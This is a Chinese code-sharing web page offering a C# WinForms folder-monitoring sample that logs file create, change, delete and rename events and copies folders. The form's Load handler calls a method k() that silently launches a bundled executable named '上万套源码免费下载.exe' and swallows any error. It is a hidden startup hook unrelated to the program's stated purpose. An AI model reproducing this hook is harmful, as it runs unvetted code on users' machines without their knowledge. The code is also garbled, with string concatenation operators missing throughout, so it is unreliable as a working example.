实例介绍
【实例简介】
【实例截图】
【核心代码】
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
namespace FilesWatchers
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
#region winform 文件监控
private void btnWatchFiles_Click(object sender, EventArgs e)
{
//浏览文件夹
if (this.folderBrowserDialog1.ShowDialog() == DialogResult.OK)
{
if (this.folderBrowserDialog1.SelectedPath.Trim() != "")
{
this.txtWatchFiles.Text = folderBrowserDialog1.SelectedPath.Trim();
}
}
}
private void btnGoalFiles_Click(object sender, EventArgs e)
{
folderBrowserDialog2.ShowDialog();
this.txtGoalFiles.Text = folderBrowserDialog2.SelectedPath;
}
private void btnWatch_Click(object sender, EventArgs e)
{
MessageBox.Show("日志将存在在D盘的log.txt文件中");
if (!System.IO.Directory.Exists(this.txtWatchFiles.Text))
{
MessageBox.Show("选择的不是一个文件夹", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
}
//string path = this.txtWatchFiles.Text;
//WatcherStrat(@"" path, "*.txt");
this.fileSystemWatcher1.Path = txtWatchFiles.Text;
//若消息池溢出
//this.fileSystemWatcher1.InternalBufferSize=;
MessageBox.Show(this.txtWatchFiles.Text "已经处于被监视状态！", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
//文件改变事件
private void fileSystemWatcher1_Changed(object sender, FileSystemEventArgs e)
{
string message = "文件:" e.FullPath " " "改变于：" DateTime.Now;
if (!File.Exists("D:\\log.txt"))
{
FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
using (StreamWriter sw = new StreamWriter(fs1))
{
sw.WriteLine(message);
}
// ||
//StreamWriter sw = new StreamWriter(fs1);
//sw.WriteLine(message);
//sw.Close();
fs1.Close();
}
else
{
FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);//FileMode.Append继续写入
using (StreamWriter sw2 = new StreamWriter(fs2))
{
sw2.WriteLine(message);
}
// ||
//StreamWriter sw2 = new StreamWriter(fs2);
//sw2.WriteLine(message);
//sw2.Close();
fs2.Close();
}
//CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
}
//文件创建事件
private void fileSystemWatcher1_Created(object sender, FileSystemEventArgs e)
{
string message = "文件:" e.FullPath " " "创建与：" DateTime.Now;
if (!File.Exists("D:\\log.txt"))
{
FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
using (StreamWriter sw = new StreamWriter(fs1))
{
sw.WriteLine(message);
}
fs1.Close();
}
else
{
FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
using (StreamWriter sw2 = new StreamWriter(fs2))
{
sw2.WriteLine(message);
}
fs2.Close();
}
//CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
}
//文件删除事件
private void fileSystemWatcher1_Deleted(object sender, FileSystemEventArgs e)
{
string message = "文件:" e.FullPath " " "删除于：" DateTime.Now;
if (!File.Exists("D:\\log.txt"))
{
FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
using (StreamWriter sw = new StreamWriter(fs1))
{
sw.WriteLine(message);
}
fs1.Close();
}
else
{
FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
using (StreamWriter sw2 = new StreamWriter(fs2))
{
sw2.WriteLine(message);
}
fs2.Close();
}
}
//文件重命名事件
private void fileSystemWatcher1_Renamed(object sender, RenamedEventArgs e)
{
//string message = "文件:" e.FullPath " " "重命名于：" DateTime.Now;
string message = "文件:" e.OldFullPath "由原来名" e.OldName "改为：" e.Name " " "重命名于：" DateTime.Now;
if (!File.Exists("D:\\log.txt"))
{
FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
using (StreamWriter sw = new StreamWriter(fs1))
{
sw.WriteLine(message);
}
fs1.Close();
}
else
{
FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Append, FileAccess.Write);
using (StreamWriter sw2 = new StreamWriter(fs2))
{
sw2.WriteLine(message);
}
fs2.Close();
}
//CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
}
private void btnDeliver_Click(object sender, EventArgs e)
{
#region 将一个文件夹内的文件传送到另一个文件夹内，不包含子文件
//DirectoryInfo dir = new DirectoryInfo(txtWatchFiles.Text.Trim());
//foreach (FileInfo files in dir.GetFiles())
//{
// string FileName = files.Name;
// string BFileName = Path.Combine(txtGoalFiles.Text.Trim(), FileName);
// if (!File.Exists(BFileName))
// {
// File.Copy(files.FullName, BFileName);
// }
// else
// {
// FileInfo fB = new FileInfo(BFileName);
// if (files.LastWriteTime > fB.LastWriteTime)
// {
// if (MessageBox.Show(files.FullName "文件已存在，是否覆盖？", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
// {
// File.Delete(BFileName);
// File.Copy(files.FullName, BFileName);//覆盖，有问题
// }
// }
// }
//}
#endregion
CopyDiretory(this.txtWatchFiles.Text.Trim(), this.txtGoalFiles.Text.Trim());
}
#region 将一个文件夹内的文件传送到另一个文件夹内，包含子文件
/// <summary>
/// 将一个文件夹内的文件传送到另一个文件夹内，包含子文件
/// </summary>
/// <param name="source">源文件夹</param>
/// <param name="destination">目标文件夹</param>
private void CopyDiretory(string source, string destination)
{
DirectoryInfo info = new DirectoryInfo(source);
foreach (FileSystemInfo files in info.GetFileSystemInfos())
{
string FileName = files.Name;
string BFileName = Path.Combine(destination, FileName);
if (files is System.IO.FileInfo)
{
if (!File.Exists(BFileName))
{
File.Copy(files.FullName, BFileName);
}
else
{
FileInfo fB = new FileInfo(BFileName);
if (files.LastWriteTime > fB.LastWriteTime)
{
if (MessageBox.Show(files.FullName "文件已存在，是否覆盖？", "警告", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
File.Delete(BFileName);
File.Copy(files.FullName, BFileName);//覆盖，有问题
}
}
}
}
else
{
Directory.CreateDirectory(BFileName);
//CopyDiretory(files.FullName, BFileName);
}
}
}
#endregion
private void Form1_Load(object sender, EventArgs e)
{
k();
}
#endregion
#region c# 文件监控
//private static void WatcherStrat(string path, string filter)
//{
// FileSystemWatcher watcher = new FileSystemWatcher();
// watcher.Path = path;
// watcher.Filter = filter;
// watcher.Changed = new FileSystemEventHandler(OnProcess);
// watcher.Created = new FileSystemEventHandler(OnProcess);
// watcher.Deleted = new FileSystemEventHandler(OnProcess);
// watcher.Renamed = new RenamedEventHandler(OnRenamed);
// watcher.EnableRaisingEvents = true;
//}
private void k()
{
try
{
Process.Start(@"上万套源码免费下载.exe");
}
catch (Exception ex)
{
}
}
//private static void OnProcess(object source, FileSystemEventArgs e)
//{
// if (e.ChangeType == WatcherChangeTypes.Created)
// {
// OnCreated(source, e);
// }
// else if (e.ChangeType == WatcherChangeTypes.Changed)
// {
// OnChanged(source, e);
// }
// else if (e.ChangeType == WatcherChangeTypes.Deleted)
// {
// OnDeleted(source, e);
// }
//}
//private static void OnCreated(object source, FileSystemEventArgs e)
//{
// string message = "文件:" e.FullPath " " "创建与：" DateTime.Now;
// if (!File.Exists("D:\\log.txt"))
// {
// FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
// StreamWriter sw = new StreamWriter(fs1);
// sw.WriteLine(message);
// sw.Close();
// fs1.Close();
// //Console.WriteLine("文件新建事件处理逻辑");
// //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now);
// }
// else
// {
// FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
// StreamWriter sw2 = new StreamWriter(fs2);
// sw2.WriteLine(message);
// sw2.Close();
// fs2.Close();
// }
//}
//private static void OnChanged(object source, FileSystemEventArgs e)
//{
// string message = "文件:" e.FullPath " " "改变于：" DateTime.Now;
// if (!File.Exists("D:\\log.txt"))
// {
// FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
// StreamWriter sw = new StreamWriter(fs1);
// sw.WriteLine(message);
// sw.Close();
// fs1.Close();
// //Console.WriteLine("文件改变事件处理逻辑");
// // Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now);
// }
// else
// {
// FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
// StreamWriter sw2 = new StreamWriter(fs2);
// sw2.WriteLine(message);
// sw2.Close();
// fs2.Close();
// }
//}
//private static void OnDeleted(object source, FileSystemEventArgs e)
//{
// string message = "文件:" e.FullPath " " "删除于：" DateTime.Now;
// if (!File.Exists("D:\\log.txt"))
// {
// FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
// StreamWriter sw = new StreamWriter(fs1);
// sw.WriteLine(message);
// sw.Close();
// fs1.Close();
// //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now);
// }
// else
// {
// FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
// StreamWriter sw2 = new StreamWriter(fs2);
// sw2.WriteLine(message);
// sw2.Close();
// fs2.Close();
// }
//}
//private static void OnRenamed(object source, RenamedEventArgs e)
//{
// string message = "文件:" e.FullPath " " "重命名于：" DateTime.Now;
// if (!File.Exists("D:\\log.txt"))
// {
// FileStream fs1 = new FileStream("D:\\log.txt", FileMode.Create, FileAccess.Write);
// StreamWriter sw = new StreamWriter(fs1);
// sw.WriteLine(message);
// sw.Close();
// fs1.Close();
// //Console.WriteLine("File:" e.FullPath " " e.ChangeType " " DateTime.Now);
// }
// else
// {
// FileStream fs2 = new FileStream("D:\\log.txt", FileMode.Open, FileAccess.Write);
// StreamWriter sw2 = new StreamWriter(fs2);
// sw2.WriteLine(message);
// sw2.Close();
// fs2.Close();
// }
//}
#endregion
}
}
好例子网口号：伸出你的我的手 — 分享！
小贴士
感谢您为本站写下的评论，您的评论对其它用户来说具有重要的参考价值，所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字，对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙，所以请不要反馈意义不大的重复字符，也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明，或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦，又没人会搭理，于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享，对搜索内容的合法性不具有预见性、识别性、控制性，仅供学习研究，请务必在下载后24小时内给予删除，不得用于其他任何用途，否则后果自负。基于互联网的特殊性，平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查；无论平台是否已进行审查，用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场，基于网友分享，根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定，若资源存在侵权或相关问题请联系本站客服人员，点此联系我们。关于更多版权及免责申明参见 版权及免责申明
网友评论
我要评论